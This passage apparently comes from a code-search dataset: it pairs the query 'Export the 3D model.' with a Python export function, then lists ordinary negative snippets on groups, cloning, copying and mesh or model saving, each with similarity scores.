body = {'consistencygroup-from-src': {'name': name,\\n 'description': description,\\n 'cgsnapshot_id': cgsnapshot_id,\\n 'source_cgid': source_cgid,\\n 'user_id': user_id,\\n 'project_id': project_id,\\n 'status': \\\"creating\\\",\\n }}\\n\\n self.run_hooks('modify_body_for_update', body,\\n 'consistencygroup-from-src')\\n resp, body = self.api.client.post(\\n \\\"/consistencygroups/create_from_src\\\", body=body)\\n return common_base.DictWithMeta(body['consistencygroup'], resp)\",\n \"def set_group(self, data, group, intg, dq=None):\\n # TODO: Include a 2-D DQ array to be combined with the GROUPDQ array\\n #\\n # Copy the input data to a 2-D plane for this group/intg combination.\\n # NOTE: This only works if data array is broadcastable so the shape\\n # of the data array is checked.\\n #\\n data = np.asarray(data, dtype=self.data.dtype)\\n detector_shape = (self.rows, self.columns)\\n if data.shape == detector_shape:\\n self.data[intg, group, :, :] = data \\n # Invalidate the averaged data\\n self._data_averaged = None\\n # Update the group data quality array if necessary.\\n if dq is not None:\\n if self.include_groupdq:\\n dq = np.asarray(dq, dtype=self.groupdq.dtype) # Convert to same data type.\\n self.groupdq[intg, group, :, :] |= dq\\n else:\\n strg = \\\"Incompatible arguments. A groupdq array is \\\"\\n strg += \\\"provided when include_groupdq=False. \\\"\\n strg += \\\"The array is ignored.\\\"\\n LOGGER.error(strg)\\n else:\\n strg = \\\"Group data array has the wrong shape \\\"\\n strg += \\\"(%s instead of %s).\\\" % (str(data.shape),\\n str(detector_shape))\\n raise TypeError(strg)\",\n \"def with_group(self, group):\\n\\t\\tself.variables['group'] = group\\n\\t\\treturn self\",\n \"def clone( m, orig):\\r\\n if m.ObjType not in (1, 6): return\\r\\n if not orig: return\\r\\n \\r\\n if m.ObjType == 6: # Target is a Folder\\r\\n if orig.ObjType == 6: cloned = m.CopyFolderDisp( orig) # Orig is Folder too\\r\\n else: cloned = m.CopyFCODisp( orig) # Orig is FCO\\r\\n elif m.ObjType == 1:\\r\\n cloned = m.CopyFCODisp( orig, metaRole( orig)) # Target is Model, Orig is FCO\\r\\n \\r\\n if cloned:\\r\\n \\tcloned.Name = \\\"Cloned\\\" + orig.Name\\r\\n return cloned\",\n \"def copy_(self, other):\\n self.share.copy_(other.share)\\n self.encoder = other.encoder\",\n \"def clone(self):\",\n \"def test_convert_to_existing_group2(self, inventoryloader):\\n inventoryloader.convert_group('glance_api', 'glance_all')\\n inventoryloader.convert_group('glance_registry', 'glance_all')\\n assert 'glance_api' not in inventoryloader.groups\\n assert 'glance_registry' not in inventoryloader.groups\\n assert not inventoryloader.groups['glance_all'].has_group('glance_api')\\n assert not inventoryloader.groups['glance_all'].has_group('glance_registry')\\n assert inventoryloader.groups['glance_all'].has_host('localhost')\\n assert inventoryloader.groups['glance_all'].has_host('localhost2')\\n assert \\\"management_bridge\\\" in inventoryloader.groups['glance_all'].vars\",\n \"def group(self, group):\\n\\n self._group = group\",\n \"def group(self, group):\\n\\n self._group = group\",\n \"def group(self, group):\\n\\n self._group = group\",\n \"def deep_copy_molecule(molecule1, molecule2):\\n molecule1.DeepCopyStructure(molecule2)\",\n \"def test_replace_group(self):\\n pass\",\n \"def change_grp_all_f(src,dst):\\n\\tcopytree2(src,dst)\\n\\trm_dirs(src)\\n\\treturn 0\",\n \"def copy(self):\\n pass\",\n \"def copy(self):\\n pass\",\n \"def copy(self):\\n pass\",\n \"def copy_layer(D, layer = 1, new_layer = 2):\\n D_copied_layer = extract(D, layers = [layer])\\n D_copied_layer.flatten(single_layer = new_layer)\\n return D_copied_layer\",\n \"def grp(self, grpNode):\\n\\t\\tself._grp = grpNode\",\n \"def remove_from_group(self, group):\\n\\n if self.in_group(group):\\n self.secondary_groups.remove(group)\\n return self\",\n \"def set_group(self, group):\\n self._group = group\",\n \"def make_grp(self, name='grp', v=False):\\n self.base[name] = self.get_group_array(v=v) #np.zeros(len(self.base), dtype=int)#self.get_group_array()\",\n \"def add_group(self):\\n items = self.group_list.selectedItems()\\n for item in items:\\n self.parent.add_group_data(item.text())\",\n \"def copy_graph_ui(self):\\n self._graph_copies.append(deepcopy(self._graph))\",\n \"def make(self):\\n numberOfGroups = np.random.randint(1, len(self.getFirstParent().getGroups()))\\n secParentGroups = np.random.choice(self.secondParent.getGroups(), numberOfGroups, replace=False)\\n groups = []\\n allSecElements = []\\n numberOfElements = 0\\n\\n for grpSec in secParentGroups:\\n allSecElements += grpSec.getElements()\\n\\n for grpFst in self.getFirstParent().getGroups():\\n numberOfElements += len(grpFst.getElements())\\n elements = list(set(grpFst.getElements()) - set(allSecElements))\\n group = Group(grpFst.getIndex(), grpFst.getMinElements(), grpFst.getMaxElements())\\n group.setElements(elements)\\n groups.append(group)\\n\\n for grpSec in secParentGroups:\\n for grpFst in groups:\\n if grpSec.getIndex() == grpFst.getIndex():\\n grpFst.addElements(grpSec.getElements())\\n\\n child = Individual(np.zeros(numberOfElements))\\n child.setGroups(groups)\\n\\n return child\",\n \"def copy(self, name=None):\\n new = copy.copy(self)\\n new.d = copy.copy(self.d)\\n new.name = name if name is not None else self.name\\n return new\",\n \"def clone_asg(client, asg, name, lc_name):\\n PARAMS_TO_CLONE = [\\n 'MinSize',\\n 'MaxSize',\\n 'DesiredCapacity',\\n 'DefaultCooldown',\\n 'AvailabilityZones',\\n 'LoadBalancerNames',\\n 'HealthCheckType',\\n 'HealthCheckGracePeriod',\\n 'PlacementGroup',\\n 'VPCZoneIdentifier',\\n 'TerminationPolicies',\\n 'NewInstancesProtectedFromScaleIn',\\n ]\\n params = {\\n key: asg[key] for key in PARAMS_TO_CLONE if key in asg\\n }\\n params['Tags'] = [{\\n 'ResourceId': name,\\n 'ResourceType': 'auto-scaling-group',\\n 'Key': tag['Key'],\\n 'Value': tag['Value'],\\n 'PropagateAtLaunch': tag['PropagateAtLaunch'],\\n } for tag in asg['Tags']]\\n\\n client.create_auto_scaling_group(\\n AutoScalingGroupName=name,\\n LaunchConfigurationName=lc_name,\\n **params\\n )\\n return client.describe_auto_scaling_groups(\\n AutoScalingGroupNames=[name]\\n )['AutoScalingGroups'][0]\",\n \"def copy_dim(nc1, nc2, name, direction):\\n if (name == direction):\\n return\\n dim1 = nc1.dimensions[name]\\n dim2 = nc2.createDimension(name, len(dim1))\",\n \"def copy_skel(src, dest):\\n md_common.copytree(src, dest)\",\n \"def _confirm_group(cls):\\n if cls.GROUP_NAME in bpy.data.objects:\\n return\\n #Backup current selection\\n selection = ObjectSelection()\\n #Create empty object\\n bpy.ops.object.empty_add()\\n new_group = bpy.context.selected_objects[0]\\n new_group.name = cls.GROUP_NAME\\n new_group.hide = True\\n #Restore selection\\n selection.restore()\",\n \"def test_duplicate_groups(self):\\n\\n auag = UsersAndGroups()\\n\\n # create a duplicate with default flag to raise an error.\\n auag.add_group(Group(name=\\\"group1\\\"))\\n with self.assertRaises(Exception):\\n auag.add_group(Group(name=\\\"group1\\\"))\\n\\n # create with overwrite.\\n auag.add_group(\\n Group(name=\\\"group2\\\", group_names=[\\\"group2\\\"]),\\n duplicate=UsersAndGroups.OVERWRITE_ON_DUPLICATE,\\n )\\n u = auag.get_group(\\\"group2\\\")\\n self.assertEqual(u.name, \\\"group2\\\")\\n self.assertEqual(u.groupNames, [\\\"group2\\\"])\\n\\n auag.add_group(\\n Group(name=\\\"group2\\\", group_names=[\\\"group3\\\"]),\\n duplicate=UsersAndGroups.OVERWRITE_ON_DUPLICATE,\\n )\\n u = auag.get_group(\\\"group2\\\")\\n self.assertEqual(u.name, \\\"group2\\\")\\n self.assertEqual(u.groupNames, [\\\"group3\\\"])\\n\\n # create with update.\\n auag.add_group(\\n Group(name=\\\"group3\\\", group_names=[\\\"group2\\\"]),\\n duplicate=UsersAndGroups.OVERWRITE_ON_DUPLICATE,\\n )\\n u = auag.get_group(\\\"group3\\\")\\n self.assertEqual(u.name, \\\"group3\\\")\\n self.assertEqual(u.groupNames, [\\\"group2\\\"])\\n\\n auag.add_group(\\n Group(name=\\\"group3\\\", group_names=[\\\"group3\\\"]),\\n duplicate=UsersAndGroups.UPDATE_ON_DUPLICATE,\\n )\\n u = auag.get_group(\\\"group3\\\")\\n self.assertEqual(u.groupNames, [\\\"group2\\\", \\\"group3\\\"])\",\n \"def set_group(self, group: str) -> None:\\n self.group = group\",\n \"def set_selected_group(self, group_id):\\n self.contact_list = self.contacts_by_group_list[group_id - 1][1][1]\\n\\n\\t# Return the contact list so far\",\n \"def addToGroup(self, frontorback, drawing, svggroup, **extra): \\r\\n super(byA_FB_SideLine, self).addToGroup(drawing, svggroup, **extra)\",\n \"def update_from(self, grp_names):\\n import GEOM, SMESH\\n mesh_types = {\\n GEOM.VERTEX : SMESH.NODE,\\n GEOM.EDGE : SMESH.EDGE,\\n GEOM.WIRE : SMESH.EDGE,\\n GEOM.FACE : SMESH.FACE,\\n GEOM.SHELL : SMESH.FACE,\\n GEOM.SOLID : SMESH.VOLUME,\\n GEOM.COMPSOLID : SMESH.VOLUME,\\n }\\n smesh = self.get_smesh()\\n\\n\\n smesh_grps_MA = []\\n smesh_grps_NO = []\\n for grp in smesh.GetGroups() :\\n if str(grp.GetType()) == 'NODE' :\\n smesh_grps_NO.append(grp.GetName())\\n else :\\n smesh_grps_MA.append(grp.GetName())\\n\\n print smesh_grps_MA,smesh_grps_NO\\n done = False\\n for geom in self.give_geom().get_children():\\n grp_name = geom.read_name()\\n #if grp_name in smesh_grps:\\n # continue\\n #Modif Fournier\\n print grp_name\\n if grp_name in grp_names[0]:\\n if grp_name in smesh_grps_MA:\\n pass\\n else :\\n mesh_type = mesh_types.get(geom.get_shape_type())\\n if mesh_type:\\n #smesh.CreateGroup(mesh_type, grp_name)\\n smesh.CreateGroupFromGEOM(mesh_type,grp_name,geom.get_sgeom())\\n done = True\\n if grp_name in grp_names[1]:\\n if grp_name in smesh_grps_NO:\\n continue\\n #smesh.CreateGroup(SMESH.NODE,grp_name)\\n smesh.CreateGroupFromGEOM(SMESH.NODE,grp_name,geom.get_sgeom())\\n done = True\\n return done\",\n \"def test_group_membership(self):\\n entries = {\\n 'uid=test,ou=people,dc=esmgquadrivium,dc=nl': {\\n 'uid': ['test'],\\n },\\n 'cn=agroup,ou=groups,dc=esmgquadrivium,dc=nl': {\\n 'cn': ['agroup'],\\n 'member': ['uid=test,ou=people,dc=esmgquadrivium,dc=nl'],\\n }\\n }\\n clone(entries)\\n self.assertEqual(2, QGroup.objects.count()) # 2 groups because there's also a current members group\\n self.assertEqual(1, Person.objects.count())\\n self.assertEqual(1, Person.objects.first().groups.count())\\n self.assertEqual(1, GroupMembership.objects.count())\\n membership = GroupMembership.objects.first()\\n self.assertIsNone(membership.end)\",\n \"def gcopy(to_layer, from_layer):\\n return [(to_layer,from_layer,'u'), (to_layer,to_layer,'d')]\",\n \"def group(self, group_id):\\r\\n return resources.Group(self, group_id)\",\n \"def copy(self):\\n return self.__class__(*self.sets)\",\n \"def _create_child_group(self, name) -> \\\"GroupBase\\\":\\n pass\",\n \"def __mul__(self, other):\\n group = self.group\\n if not isinstance(other, group.dtype):\\n raise TypeError(\\\"only FreeGroup elements of same FreeGroup can \\\"\\n \\\"be multiplied\\\")\\n if self.is_identity:\\n return other\\n if other.is_identity:\\n return self\\n r = list(self.array_form + other.array_form)\\n zero_mul_simp(r, len(self.array_form) - 1)\\n return group.dtype(tuple(r))\",\n \"def set_group(self, address, group):\\n self.groups[address] = group\",\n \"def slotGroupEdit(self):\\n dialog = GroupDialog(self)\\n if dialog.exec_loop() == QDialog.Accepted:\\n if dialog.group_id != None:\\n # set group\\n self.sampleGroup.globalGroupId = dialog.group_id\\n self.groupLabel.setText(dialog.group_id)\\n else:\\n # ungroup\\n self.sampleGroup.globalGroupId = None\\n self.groupLabel.setText('Not\\\\nGrouped')\\n self.emit(PYSIGNAL('groupChanged'), (self,))\",\n \"def copy(self):\\n \\n \\n G = DiGraph()\\n G.node_set = copy.deepcopy(self.node_set)\\n G.prefix = copy.deepcopy(self.prefix)\\n G.suffix = copy.deepcopy(self.suffix)\\n G.num_node = copy.deepcopy(self.num_node)\\n G.edges = copy.deepcopy(self.edges)\\n \\n return G\",\n \"def copy(self, deck):\\n self.add_cards(deck.get_cards())\",\n \"def clone(name1, name2):\\n if not SchModule._ready:\\n raise ValueError(\\\"not mounted\\\")\\n\\n schdir1 = SchModule.DIR.hpath(name1)\\n schdir2 = SchModule.DIR.hpath(name2)\\n\\n if not path.exists(schdir1):\\n raise Exception(\\\"Source scheme does not exist\\\")\\n if path.exists(schdir2):\\n raise Exception(\\\"Destination scheme already exists\\\")\\n\\n # copy unmodified files\\n shutil.copytree(schdir1, schdir2)\\n # modify descr-file\\n descr2 = path.join(schdir2, SchModule.DESCR)\\n dc = DotCfg()\\n with codecs.open(descr2, \\\"r\\\", encoding=\\\"utf8\\\") as f:\\n dc.parse(f)\\n par = dc.get(u\\\"date\\\")\\n if par:\\n par.value = time.strftime(\\\"%Y-%m-%d %H:%M:%S\\\")\\n par = dc.get(u\\\"author\\\")\\n if par:\\n par.value = os.getenv(\\\"USER\\\", os.getenv(\\\"USERNAME\\\", \\\"Unknown\\\"))\\n dc.flush()\",\n \"def remove_current_transform_group(self):\\n datacopy = self._shallow_clone_dataset()\\n fdata = datacopy._flat_data\\n datacopy._flat_data = fdata.remove_current_transform_group()\\n return datacopy\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.6744914","0.6737628","0.65842587","0.64991206","0.6265472","0.6035223","0.5887279","0.5776485","0.5767557","0.5695418","0.5676896","0.5611046","0.5533167","0.55331063","0.5526371","0.5520259","0.5512979","0.5510256","0.5470082","0.5459582","0.5455663","0.54252183","0.54144406","0.5398489","0.53974277","0.539024","0.53857726","0.5363874","0.53619653","0.53618544","0.5352135","0.5344097","0.5321583","0.53161955","0.5298319","0.52862024","0.52845204","0.5282605","0.52664226","0.5261436","0.5260014","0.5244607","0.5237324","0.5234174","0.5232431","0.5227102","0.5217153","0.5212687","0.52050084","0.5198838","0.5196432","0.51616234","0.5157567","0.5153157","0.51440454","0.51186633","0.51135814","0.5113538","0.5111929","0.5111419","0.510964","0.50963956","0.50963956","0.50963956","0.509079","0.5082008","0.50814724","0.5077863","0.5077863","0.5077863","0.50777066","0.50770676","0.5076438","0.50756216","0.50721186","0.5057658","0.5055451","0.50549537","0.5052653","0.5047894","0.5047499","0.5036725","0.5027677","0.5024704","0.5020205","0.5017626","0.50156385","0.5013995","0.5012696","0.49965838","0.4996085","0.49909595","0.49744004","0.49725714","0.49648902","0.49640733","0.49638778","0.49607417","0.49518624","0.49413404"],"string":"[\n \"0.6744914\",\n \"0.6737628\",\n \"0.65842587\",\n \"0.64991206\",\n \"0.6265472\",\n \"0.6035223\",\n \"0.5887279\",\n \"0.5776485\",\n \"0.5767557\",\n \"0.5695418\",\n \"0.5676896\",\n \"0.5611046\",\n \"0.5533167\",\n \"0.55331063\",\n \"0.5526371\",\n \"0.5520259\",\n \"0.5512979\",\n \"0.5510256\",\n \"0.5470082\",\n \"0.5459582\",\n \"0.5455663\",\n \"0.54252183\",\n \"0.54144406\",\n \"0.5398489\",\n \"0.53974277\",\n \"0.539024\",\n \"0.53857726\",\n \"0.5363874\",\n \"0.53619653\",\n \"0.53618544\",\n \"0.5352135\",\n \"0.5344097\",\n \"0.5321583\",\n \"0.53161955\",\n \"0.5298319\",\n \"0.52862024\",\n \"0.52845204\",\n \"0.5282605\",\n \"0.52664226\",\n \"0.5261436\",\n \"0.5260014\",\n \"0.5244607\",\n \"0.5237324\",\n \"0.5234174\",\n \"0.5232431\",\n \"0.5227102\",\n \"0.5217153\",\n \"0.5212687\",\n \"0.52050084\",\n \"0.5198838\",\n \"0.5196432\",\n \"0.51616234\",\n \"0.5157567\",\n \"0.5153157\",\n \"0.51440454\",\n \"0.51186633\",\n \"0.51135814\",\n \"0.5113538\",\n \"0.5111929\",\n \"0.5111419\",\n \"0.510964\",\n \"0.50963956\",\n \"0.50963956\",\n \"0.50963956\",\n \"0.509079\",\n \"0.5082008\",\n \"0.50814724\",\n \"0.5077863\",\n \"0.5077863\",\n \"0.5077863\",\n \"0.50777066\",\n \"0.50770676\",\n \"0.5076438\",\n \"0.50756216\",\n \"0.50721186\",\n \"0.5057658\",\n \"0.5055451\",\n \"0.50549537\",\n \"0.5052653\",\n \"0.5047894\",\n \"0.5047499\",\n \"0.5036725\",\n \"0.5027677\",\n \"0.5024704\",\n \"0.5020205\",\n \"0.5017626\",\n \"0.50156385\",\n \"0.5013995\",\n \"0.5012696\",\n \"0.49965838\",\n \"0.4996085\",\n \"0.49909595\",\n \"0.49744004\",\n \"0.49725714\",\n \"0.49648902\",\n \"0.49640733\",\n \"0.49638778\",\n \"0.49607417\",\n \"0.49518624\",\n \"0.49413404\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.7448452"},"document_rank":{"kind":"string","value":"0"}}},{"rowIdx":80084,"cells":{"query":{"kind":"string","value":"Export the 3D model."},"document":{"kind":"string","value":"def export3DModel(self, fileName, filePath, fileFormat=\".step\", object_list=[], removed_objects=[]):\n if not object_list:\n allObjects = self.modeler.primitives.object_names\n if removed_objects:\n for rem in removed_objects:\n allObjects.remove(rem)\n else:\n if \"Region\" in allObjects:\n allObjects.remove(\"Region\")\n else:\n allObjects = object_list[:]\n\n self.add_info_message(\"Exporting {} objects\".format(len(allObjects)))\n\n stringa = \",\".join(allObjects)\n arg = [\n \"NAME:ExportParameters\",\n \"AllowRegionDependentPartSelectionForPMLCreation:=\",\n True,\n \"AllowRegionSelectionForPMLCreation:=\",\n True,\n \"Selections:=\",\n stringa,\n \"File Name:=\",\n str(filePath) + \"/\" + str(fileName) + str(fileFormat),\n \"Major Version:=\",\n -1,\n \"Minor Version:=\",\n -1,\n ]\n\n self.modeler.oeditor.Export(arg)\n return True"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def export_model(self, output_model_dir):\n logger.info(\"Exporting model to directory : {}\".format(output_model_dir))\n self.model.export(output_model_dir=output_model_dir)","def create_e3d_file(self,path='./'):\n dt=0.606*self.model_parameters['dh']/np.max(self.velocity_model['vp']) # dt needs to satify the courant condition\n t=int(self.model_parameters['duration']/dt)\n \n # Check path exists, if not create one\n if not os.path.exists(path):\n os.makedirs(path)\n \n # Create e3d parameter file\n f=open('%s%s_e3dmodel.txt'%(path,self.model_name),'w')\n f.write(\"grid x=%s z=%s dh=%s b=2 q=1\\ntime dt=%0.5f t=%s\\n\"%(self.model_parameters['xmax'],self.model_parameters['zmax'],self.model_parameters['dh'],dt,t))\n f.write(\"block p=%s s=%s r=%s Q=20 Qf=50\\n\"%(self.velocity_model['vp'][0],self.velocity_model['vs'][0],self.velocity_model['rho'][0]))\n \n for i in range(1,len(self.velocity_model['vp'])-1):\n f.write(\"block p=%s s=%s r=%s z1=%s z2=%s Q=20 Qf=50\\n\"%(self.velocity_model['vp'][i],self.velocity_model['vs'][i],self.velocity_model['rho'][i],\n self.velocity_model['depth'][i],self.velocity_model['depth'][i+1]))\n \n f.write(\"block p=%s s=%s r=%s z1=%s z2=%s Q=20 Qf=50\\n\\n\"%(self.velocity_model['vp'][i+1],self.velocity_model['vs'][i+1],self.velocity_model['rho'][i+1],\n self.velocity_model['depth'][i+1],self.model_parameters['zmax'])) # extend to the based of the model \n \n f.write(\"visual movie=5\\n\\n\")\n\n if self.source['src_type']!=4:\n f.write(\"source type=%s x=%s z=%s freq=%s amp=%s\\n\\n\"%(self.source['src_type'],self.source['srcx'],self.source['srcz'],self.source['freq'],self.source['amp'])) \n else:\n f.write(\"source type=%s x=%s z=%s freq=%s amp=%s Mxx=%s Myy=%s Mzz=%s Mxy=%s Mxz=%s Myz=%s\\n\\n\"%(self.source['src_type'],self.source['srcx'],self.source['srcz'],self.source['freq'],self.source['amp'],self.source['mt'][0],self.source['mt'][1],self.source['mt'][2],self.source['mt'][3],self.source['mt'][4],self.source['mt'][5])) \n\n for r in range(len(self.receivers['recxs'])):\n f.write('sac x=%0.3f z=%0.3f file=%s\\n'%(self.receivers['recxs'][r],self.receivers['reczs'][r],self.model_name))\n\n f.write(\"visual sample=0.1 movie=1 scale=10000000000/n\")\n f.close()\n \n print('File created: %s%s_e3dmodel.txt'%(path,self.model_name))","def save_trained_model(self, filename):\n d = self.pack_npz()\n with open(filename, 'wb') as f:\n np.savez(f, base_str=super(SpatialGP, self).__repr_base_params__(), **d)","def export_freeze_model(self, export_dir='.', version=1):\n self.feed_dict.update({self.training_phase: False})\n tf.keras.backend.set_learning_phase(0) \n\n self.outputs = tf.identity_n(self.outputs, name='output/hr')\n sess = tf.get_default_session()\n export_path = Path(export_dir) / str(version)\n while export_path.exists():\n version += 1 # step ahead 1 version\n export_path = Path(export_dir) / str(version)\n export_path = str(export_path)\n graph = sess.graph.as_graph_def()\n graph = tf.graph_util.remove_training_nodes(graph)\n graph = tf.graph_util.convert_variables_to_constants(\n sess, graph, [outp.name.split(':')[0] for outp in self.outputs])\n # fcarrio\n for node in graph.node:\n print (node.name)\n\n\n for op in tf.get_default_graph().get_operations():\n print(str(op.name))\n\n tf.train.write_graph(graph, export_path, self.name, as_text=False)\n LOG.info(\"Model exported to {}/{}.\".format(export_path, self.name))","def save_model(self):\n print(\"\\nModels are integrated to be multi scale.\\nSaving to disk.\")\n self.column_names = [ \"x_\" + str(x) for x in range(self.embedding.shape[1])]\n self.embedding = pd.DataFrame(self.embedding, columns = self.column_names)\n self.embedding.to_csv(self.args.output, index = None)","def save_spi3d(self):\n lut = self.generate_lut()\n file_path = os.path.join(self.output, self.name)\n file_io.save_file(lut, file_path)","def make_model_geocsv():\n\n model_file, base_file_name = check_netcdf_file()\n print('[INFO] Input netCDF File: {}'.format(model_file), flush=True)\n\n data_header = list()\n model_data = Dataset(model_file)\n try:\n # conversion to string is done to preserve precision\n lat = list()\n lon = list()\n depth = list()\n for this_value in model_data.variables[LAT_VARIABLE][:]:\n lat.append(\"{}\".format(str(this_value)))\n for this_value in model_data.variables[LON_VARIABLE][:]:\n lon.append(\"{}\".format(str(this_value)))\n for this_value in model_data.variables[DEPTH_VARIABLE][:]:\n depth.append(\"{}\".format(str(this_value)))\n except Exception:\n print('\\n[Error] the expected variables ({}, {}, {}) not in the variable list: {}\\n'.format(\n LAT_VARIABLE, LON_VARIABLE, DEPTH_VARIABLE, str(list(model_data.variables.keys()))))\n sys.exit(1)\n\n emcin = {}\n\n # make sure this is a 3D netCDF file\n var_3d = list()\n for var in model_data.variables.keys():\n if len(model_data.variables[var].shape) == 3:\n var_3d.append(var)\n if len(var_3d) <= 0:\n print('\\n[ERROR] not a 3D netCDF file\\n\\n', flush=True)\n sys.exit(1)\n\n # the standard order is (Z, Y, X) or (depth, latitude, longitude)\n if DEBUG:\n print('[INFO] Mode: {}'.format(OUTPUT_MODE), flush=True)\n print('[INFO] 3D Variables: {}'.format(var_3d), flush=True)\n\n if VIEW_HEADER:\n display_headers(model_file, model_data)\n sys.exit(0)\n\n output_data = list()\n for k, this_depth in enumerate(depth):\n if OUTPUT_MODE == 'single' and k == 0:\n data_header = list()\n output_file = '{}.csv'.format(base_file_name)\n fp = open(output_file, 'w')\n print('[INFO] Output file: {}'.format(output_file), flush=True)\n fp.write(get_model_header(model_file, model_data))\n data_header.append('{}{}{}{}{}'.format(LAT_VARIABLE, DELIMITER, LON_VARIABLE,\n DELIMITER, DEPTH_VARIABLE))\n elif OUTPUT_MODE == 'depth':\n output_data = list()\n data_header = list()\n output_file = os.path.join(\n '{}_{}_{}.csv'.format(base_file_name, this_depth, VALID_MODES[OUTPUT_MODE]))\n fp = open(output_file, 'w')\n print('[INFO] Output file: {}'.format(output_file), flush=True)\n fp.write(get_model_header(model_file, model_data))\n data_header.append('# depth: {}\\n'.format(this_depth))\n data_header.append('{}{}{}'.format(LAT_VARIABLE, DELIMITER, LON_VARIABLE))\n\n if DEBUG:\n print('[INFO] Processing depth: {}'.format(this_depth), flush=True)\n else:\n dot()\n\n index = [-1, -1, -1]\n for i, this_lat in enumerate(lat):\n for j, this_lon in enumerate(lon):\n if OUTPUT_MODE == 'single':\n output_data.append('{}{}{}{}{}'.format(str(this_lat), DELIMITER, str(this_lon), DELIMITER,\n str(this_depth)))\n else:\n output_data.append('{}{}{}'.format(str(this_lat), DELIMITER, str(this_lon)))\n\n for var in model_data.variables.keys():\n depth_index = None\n lat_index = None\n lon_index = None\n if var.encode('ascii', 'ignore').decode(\"utf-8\") not in [LAT_VARIABLE, LON_VARIABLE,\n DEPTH_VARIABLE]:\n if ((OUTPUT_MODE == 'single' and (not i and not j and not k)) or\n (OUTPUT_MODE == 'depth' and (not i and not j))):\n fp.write(get_var_header(model_data, var))\n data_header.append('{}{}'.format(DELIMITER, var))\n # find the variable ordering\n if lat_index is None:\n for l in range(len(model_data.variables[var].dimensions)):\n if model_data.variables[var].dimensions[l].encode('ascii', 'ignore').decode(\n \"utf-8\") == DEPTH_VARIABLE:\n depth_index = l\n elif model_data.variables[var].dimensions[l].encode('ascii', 'ignore').decode(\n \"utf-8\") == LON_VARIABLE:\n lon_index = l\n else:\n lat_index = l\n\n if var not in emcin.keys():\n try:\n emcin[var] = model_data.variables[var][:]\n except Exception as err:\n print('\\n[Error] problem reading variable \"{}\"'.format(var))\n print('{0}\\n'.format(err))\n sys.exit(2)\n\n index[depth_index] = k\n index[lat_index] = i\n index[lon_index] = j\n # nan values, otherwise we write string to preserve the precision\n if str(emcin[var][index[0]][index[1]][index[2]]) == '--':\n output_data.append('{}{}'.format(DELIMITER,\n float(emcin[var][index[0]][index[1]][index[2]])))\n else:\n # conversion to string is done to preserve precision\n output_data.append('{}{}'.format(DELIMITER,\n str(emcin[var][index[0]][index[1]][index[2]])))\n output_data.append('\\n')\n if OUTPUT_MODE == 'depth':\n fp.write('{}\\n'.format(''.join(data_header)))\n fp.write(''.join(output_data))\n fp.close()\n\n if OUTPUT_MODE == 'single':\n fp.write('{}\\n'.format(''.join(data_header)))\n fp.write(''.join(output_data))\n fp.close()","def export_model(self, save_path: str, save_format: Optional[str] = None) -> None:","def export_model(model, name):\n\tpath = \"data/{}/\".format(name)\n\tfilename = \"{}.model\".format(name)\n\tif os.path.isdir(path):\n\t\tprint(\"model already exists\")\n\t\treturn\n\telse:\n\t\tos.mkdir(path)\n\t\tjoblib.dump(model, path + filename)","def save(self, filename):\n # serialize model to JSON\n model_json = self._model.to_json()\n with open('models/' + filename + \".json\", \"w\") as json_file:\n json_file.write(model_json)\n\n # serialize weights to HDF5\n self._model.save_weights('models/' + filename + \".h5\")\n print(\"Saved model to disk\")","def export( self, captionMode, copyFiles, outputDir ):\n scene = slicer.mrmlScene\n nodes = scene.GetNumberOfNodes()\n\n self.__nodes = {}\n\n # 1 for model name, 2 for parent name\n self.__captionMode = captionMode\n # TRUE if we shall copy the files to the outputDir\n self.__copyFiles = copyFiles\n self.__outputDir = outputDir\n\n self.__tree = Tree()\n self.__tree.create_node( \"Scene\", \"scene\" )\n\n for n in xrange( nodes ):\n\n node = scene.GetNthNode( n )\n\n self.parseNode( node )\n\n [header, footer] = self.configureXrenderers()\n output = header\n output += self.createXtree( \"scene\" )\n output += footer\n\n return output","def serialize_mesh(self, filename):\n print 'Saving mesh to', filename\n if self.current_point_index != -1:\n print 'Points on mesh will not be serialized.'\n\n np.savez(filename, k=self.k, initial_point=self.initial_point,\n initial_face_index=self.initial_face_index,\n all_vertices=self.all_vertices, triangles=self.triangles,\n face_local_bases=self.face_local_bases,\n neighbor_faces=self.neighbor_faces)","def export_compact_z_to_l(model_path):\n pred_config = PredictConfig(\n session_init=SmartInit(model_path),\n model=Model(),\n input_names=['mask'],\n output_names=['gen/genlandmarks/mu3d', 'gen/genlandmarks/sigma3d', 'gen/genlandmarks/theta3d'])\n ModelExporter(pred_config).export_compact(os.path.join(os.path.dirname(model_path), 'frozen_model_z_to_l.pb'))\n # ModelExporter(pred_config).export_compact(model_path)","def export_model(self):\n\n model_pkg = dict()\n\n for k, v in self.__dict__.items():\n if k not in ['datas'] and not k.startswith('_'):\n model_pkg[k] = v\n\n for i in range(len(self.datas)):\n for k, v in self.datas[i].__dict__.items():\n model_pkg['datas_%d_%s' % (i, k)] = v\n\n return model_pkg","def save_surface_mesh(self, fname):\n triangulation = self.surf_mesh\n surf_indx = self.surface_indices\n points = self.cluster.get_positions()\n with open(fname, 'w') as out:\n # Write mandatory header\n out.write(\"$MeshFormat\\n\")\n out.write(\"2.2 0 8\\n\")\n out.write(\"$EndMeshFormat\\n\\n\")\n\n\n # Write points\n out.write(\"$Nodes\\n\")\n out.write(\"{}\\n\".format(points.shape[0]))\n for i in range(points.shape[0]):\n vec = points[i, :]\n out.write(\"{} {} {} {}\\n\".format(i+1, vec[0], vec[1], vec[2]))\n out.write(\"$EndNodes\\n\")\n\n # Write triangles\n out.write(\"$Elements\\n\")\n out.write(\"{}\\n\".format(len(triangulation)))\n for i, tri in enumerate(triangulation):\n out.write(\"{} 2 0 {} {} {}\\n\".format(i+1, tri[0]+1, tri[1]+1, tri[2]+1))\n out.write(\"$EndElements\\n\")\n\n if self._interface_energy:\n # Interface energy has been computed\n # We store the values as node data\n out.write(\"$NodeData\\n\")\n out.write(\"1\\n\")\n out.write(\"\\\"Gamma\\\"\\n\")\n out.write(\"1\\n0.0\\n\")\n out.write(\"4\\n0\\n1\\n{}\\n0\\n\".format(len(self._interface_energy)))\n for indx, interf in zip(surf_indx, self._interface_energy):\n out.write(\"{} {}\\n\".format(indx+1, interf[1]))\n out.write(\"$EndNodeData\\n\")\n print(\"Surface mesh saved to {}\".format(fname))","def export_kmz(self):\n 